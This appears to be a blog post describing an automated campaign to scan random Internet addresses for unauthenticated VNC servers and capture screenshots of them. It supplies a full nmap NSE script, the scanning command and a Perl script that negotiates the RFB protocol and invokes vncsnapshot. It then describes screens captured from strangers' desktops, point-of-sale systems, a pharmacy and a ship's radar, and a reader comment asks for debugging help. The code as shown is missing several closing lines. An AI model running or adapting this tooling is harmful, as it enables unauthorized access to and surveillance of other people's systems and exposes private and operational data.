A few weeks ago I read an article about mass scanning the Internet for VNC servers that don’t require authentication. Dubbed “open curtains” because it’s like having your curtains open allowing anyone passing by to glance in. The person doesn’t need to bypass any security in place or have a key to your door to get this access – it’s open for everyone to take a peek inside.

To achieve this I used:

It’s completely automated. No human interaction is required.

The nmap NSE script I wrote is as follows:

-- Head
description = [[Take snapshots from VNC servers not requiring authentication]]
author = "David Ramsden"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}

-- Rule
portrule = function(host, port)
	return port.protocol == "tcp"
		and port.state == "open"

-- Action
action = function(host, port)
	os.execute("./open-curtains.pl "..host.ip.." "..port.number.." &")

	return "Trying to snapshot."

It’s used with nmap to scan random targets:

$ nmap --script open-curtains.nse -n -Pn -iR 0 -p 5900 > /dev/null

The above continuously scans random addresses on TCP/5900 (the default VNC server port) and uses the open-curtains.nse script. The NSE script simply says “if the protocol is TCP and the port is 5900, execute the open-curtains.pl script passing the host IP and port number as arguments”. The open-curtains.pl script is run in the background so things don’t hang.

The open-curtains.pl Perl script I wrote is as follows:

#!/usr/bin/perl -w

use strict;
use IO::Socket::INET;

my ($data, $security) = undef;
my ($hostname, $port) = @ARGV;

$SIG{ALRM} = sub {
	die "[$hostname:$port] Timed out.\n";

warn "[$hostname:$port] Trying to connect and snapshot.\n";

my $client = new IO::Socket::INET(
		PeerHost => $hostname,
		PeerPort => $port,
		Proto => "tcp",
		Timeout => 30
	) or die "[$hostname:$port] Unable to connect: $!.\n";

$client->recv($data, 512);
if ($data =~ /^RFB .*/) {
	$client->send("RFB 003.003\n");
} else {
	die "[$hostname:$port] Unexpected response when negotiating.\n";

$client->recv($data, 512);
if (unpack("H*", $data) =~ /00000001/) {
	$security = 0;


if (defined($security)) {
	warn "[$hostname:$port] Taking snapshot.\n";
	system("vncsnapshot -vncQuality 7 -quality 70 " . $hostname . ":" . ($port - 5900) . " " . $hostname . "_" . $port . ".jpg >/dev/null 2>&1");
} else {
	warn "[$hostname:$port] Password required - ignoring.\n";

This will first open a TCP connection to the target and negotiate the VNC protocol. The VNC server will first send an RFB header containing the server version (e.g. RFB 003.008). We then send back a response of “RFB 003.003” to tell the server what our client capabilities are. The server will then respond with the authentication mechanisms that are accepted. This is the important part. We only then continue if the server tells us that no security is configured (0x1). At no point do we try to bypass the security or try any passwords. Finally the vncsnapshot program is invoked to connect and take a screenshot from the VNC server.

And the results were quite interesting.

I found a lot of digital signage, all of which appear to be located in South Korea and mostly relating to “LG U+” (telecoms and mobile phone operator controlled by LG Group):

Quite a few desktops. Surprisingly a lot of them were Ubuntu desktops, proving that the Operating System is only as secure as the user makes it:

This desktop was pretty ironic. Look at the websites the user has open in Firefox:


And an OS X desktop. Oddly enough it looks like someone has tried to pwn it but with win32 files?


A few home automation type systems and embedded devices such as MFPs:

A few Danfoss terminals that appear to be running a UNIX like-OS popped up too:

vnc18A few Point of Sale/Back Office systems:

Worryingly one of these is likely pwned already and is connected to a C&C server via IRC. The mIRC registration web page that has opened gives the game away. Unfortunately the user is probably just closing the window each time:


Other systems included a pharmacy system and a radar system on a ship:

Over the space of about 2 weeks I collected 399 screenshots. The process could be a lot quicker if something such as masscan were to be used. As of yet I’ve not found any SCADA systems but they are out there…


  1. Mac:openCurtain Souley$ ./open-curtains.pl 93.xxx.xx.xx
    Use of uninitialized value $port in concatenation (.) or string at ./open-curtains.pl line 14.
    [93.xx.xx.xx:] Trying to connect and snapshot.
    Use of uninitialized value $port in concatenation (.) or string at ./open-curtains.pl line 16.
    [93.xx.xx.xx:] Unable to connect: Invalid argument.

    What could be the problem in the code?

Leave a Reply

Your email address will not be published. Required fields are marked *

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

The reCAPTCHA verification period has expired. Please reload the page.